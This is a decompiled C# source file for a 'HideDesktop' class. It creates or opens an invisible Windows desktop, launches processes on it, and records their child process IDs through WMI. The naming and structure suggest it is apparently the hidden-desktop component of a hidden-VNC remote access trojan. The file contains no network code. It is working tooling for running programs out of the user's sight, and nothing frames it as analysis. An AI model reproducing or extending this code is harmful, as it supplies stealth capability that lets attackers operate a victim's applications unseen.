Files
2026-08-27 11:22:34 -06:00

335 lines
8.6 KiB
C#

using Methods.Native;
using System;
using System.Collections.Specialized;
using System.Management;
using System.Runtime.InteropServices;
// Token: 0x02000002 RID: 2
public class HideDesktop
{
// Token: 0x06000001 RID: 1
[DllImport("kernel32.dll")]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref HandelNative.STARTUPINFO lpStartupInfo, ref HandelNative.PROCESS_INFORMATION lpProcessInformation);
// Token: 0x06000002 RID: 2
[DllImport("user32.dll")]
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, long dwDesiredAccess, IntPtr lpsa);
// Token: 0x06000003 RID: 3
[DllImport("user32.dll")]
public static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, long dwDesiredAccess);
// Token: 0x06000004 RID: 4 RVA: 0x00002050 File Offset: 0x00000250
public static HideDesktop OpenDesktop(string name)
{
HideDesktop hideDesktop = new HideDesktop();
bool flag = hideDesktop.Open(name);
bool flag2 = !flag;
HideDesktop result;
if (flag2)
{
result = null;
}
else
{
result = hideDesktop;
}
return result;
}
// Token: 0x06000005 RID: 5 RVA: 0x00002080 File Offset: 0x00000280
public static HideDesktop CreateDesktop(string name)
{
HideDesktop hideDesktop = new HideDesktop();
bool flag = hideDesktop.Create(name);
bool flag2 = !flag;
HideDesktop result;
if (flag2)
{
result = null;
}
else
{
result = hideDesktop;
}
return result;
}
// Token: 0x06000006 RID: 6 RVA: 0x000020B0 File Offset: 0x000002B0
public static bool CreateProcess(string path, string desktop, bool bAppName)
{
bool flag = !HideDesktop.Exists(desktop);
bool result;
if (flag)
{
result = false;
}
else
{
HideDesktop hideDesktop = HideDesktop.OpenDesktop(desktop);
result = hideDesktop.CreateProcess(path, bAppName);
}
return result;
}
// Token: 0x06000007 RID: 7 RVA: 0x000020E4 File Offset: 0x000002E4
public static void CollectProcessAndChildren(int pid)
{
bool flag = pid == 0;
if (!flag)
{
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid.ToString());
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
{
ManagementObject managementObject = (ManagementObject)managementBaseObject;
HideDesktop.CollectProcessAndChildren(Convert.ToInt32(managementObject["ProcessID"]));
}
HandelNative.m_lstProcessID.Add(pid);
}
}
// Token: 0x06000008 RID: 8 RVA: 0x0000217C File Offset: 0x0000037C
public bool CreateProcess(string path, bool bAppName)
{
this.CheckDisposed();
bool flag = !this.IsOpen;
bool result;
if (flag)
{
result = false;
}
else
{
HandelNative.STARTUPINFO startupinfo = default(HandelNative.STARTUPINFO);
startupinfo.cb = Marshal.SizeOf(startupinfo);
startupinfo.lpDesktop = this.Desktop_name;
HandelNative.PROCESS_INFORMATION process_INFORMATION = default(HandelNative.PROCESS_INFORMATION);
bool flag2 = !bAppName;
bool flag3;
if (flag2)
{
flag3 = HideDesktop.CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false, 32, IntPtr.Zero, null, ref startupinfo, ref process_INFORMATION);
}
else
{
flag3 = HideDesktop.CreateProcess(path, null, IntPtr.Zero, IntPtr.Zero, false, 32, IntPtr.Zero, null, ref startupinfo, ref process_INFORMATION);
}
HideDesktop.CollectProcessAndChildren(process_INFORMATION.dwProcessId);
result = flag3;
}
return result;
}
// Token: 0x06000009 RID: 9 RVA: 0x00002238 File Offset: 0x00000438
public static bool Load(HideDesktop desktop)
{
bool flag = !desktop.IsOpen;
return !flag && HandelNative.SetThreadDesktop(desktop.DesktopHandle);
}
// Token: 0x17000001 RID: 1
// (get) Token: 0x0600000A RID: 10 RVA: 0x00002268 File Offset: 0x00000468
public bool IsOpen
{
get
{
return this.HDesktop != IntPtr.Zero;
}
}
// Token: 0x17000002 RID: 2
// (get) Token: 0x0600000B RID: 11 RVA: 0x0000228C File Offset: 0x0000048C
public IntPtr DesktopHandle
{
get
{
return this.HDesktop;
}
}
// Token: 0x0600000C RID: 12 RVA: 0x000022A4 File Offset: 0x000004A4
public bool Create(string name)
{
this.CheckDisposed();
bool flag = this.HDesktop != IntPtr.Zero;
if (flag)
{
bool flag2 = !this.Close();
if (flag2)
{
return false;
}
}
bool flag3 = HideDesktop.Exists(name);
bool result;
if (flag3)
{
result = this.Open(name);
}
else
{
this.HDesktop = HideDesktop.CreateDesktop(name, IntPtr.Zero, IntPtr.Zero, 0, 511L, IntPtr.Zero);
this.Desktop_name = name;
bool flag4 = this.HDesktop == IntPtr.Zero;
result = !flag4;
}
return result;
}
// Token: 0x0600000D RID: 13 RVA: 0x00002340 File Offset: 0x00000540
public bool Open(string name)
{
this.CheckDisposed();
bool flag = this.HDesktop != IntPtr.Zero;
if (flag)
{
bool flag2 = !this.Close();
if (flag2)
{
return false;
}
}
this.HDesktop = HideDesktop.OpenDesktop(name, 0, false, 511L);
bool flag3 = this.HDesktop == IntPtr.Zero;
bool result;
if (flag3)
{
result = false;
}
else
{
this.Desktop_name = name;
result = true;
}
return result;
}
// Token: 0x0600000E RID: 14 RVA: 0x000023B4 File Offset: 0x000005B4
private void CheckDisposed()
{
bool disposed_Boolean = this.Disposed_Boolean;
if (disposed_Boolean)
{
throw new ObjectDisposedException("");
}
}
// Token: 0x0600000F RID: 15 RVA: 0x000023D8 File Offset: 0x000005D8
public bool Close()
{
this.CheckDisposed();
bool flag = this.HDesktop != IntPtr.Zero;
bool result;
if (flag)
{
bool flag2 = HandelNative.CloseDesktop(this.DesktopHandle);
bool flag3 = flag2;
if (flag3)
{
this.HDesktop = IntPtr.Zero;
this.Desktop_name = string.Empty;
}
result = flag2;
}
else
{
result = true;
}
return result;
}
// Token: 0x06000010 RID: 16 RVA: 0x00002434 File Offset: 0x00000634
public static bool Exists(string name)
{
return HideDesktop.Exists(name, false);
}
// Token: 0x06000011 RID: 17 RVA: 0x00002450 File Offset: 0x00000650
public static bool Exists(string name, bool caseInsensitive)
{
string[] desktops = HideDesktop.GetDesktops();
foreach (string text in desktops)
{
if (caseInsensitive)
{
bool flag = object.Equals(text.ToLower(), name.ToLower());
if (flag)
{
return true;
}
}
else
{
bool flag2 = object.Equals(text, name);
if (flag2)
{
return true;
}
}
}
return false;
}
// Token: 0x06000012 RID: 18 RVA: 0x000024BC File Offset: 0x000006BC
private static bool DesktopProc(string lpszDesktop, IntPtr lParam)
{
HideDesktop.StringCollection.Add(lpszDesktop);
return true;
}
// Token: 0x06000013 RID: 19 RVA: 0x000024DC File Offset: 0x000006DC
public static string[] GetDesktops()
{
IntPtr processWindowStation = HandelNative.GetProcessWindowStation();
bool flag = processWindowStation == IntPtr.Zero;
string[] result;
if (flag)
{
result = new string[0];
}
else
{
StringCollection obj = HideDesktop.Valua<StringCollection>(ref HideDesktop.StringCollection, new StringCollection());
string[] array;
lock (obj)
{
bool flag3 = HandelNative.EnumDesktops(processWindowStation, new HandelNative.EnumDesktopProc(HideDesktop.DesktopProc), IntPtr.Zero);
bool flag4 = !flag3;
if (flag4)
{
return new string[0];
}
array = new string[HideDesktop.StringCollection.Count];
int i = 0;
int num = array.Length - 1;
while (i <= num)
{
array[i] = HideDesktop.StringCollection[i];
i++;
}
}
result = array;
}
return result;
}
// Token: 0x06000014 RID: 20 RVA: 0x000025C0 File Offset: 0x000007C0
public static T Valua<T>(ref T target, T value)
{
target = value;
return value;
}
// Token: 0x04000001 RID: 1
private string Desktop_name;
// Token: 0x04000002 RID: 2
private bool Disposed_Boolean;
// Token: 0x04000003 RID: 3
private static StringCollection StringCollection;
// Token: 0x04000004 RID: 4
private IntPtr HDesktop;
}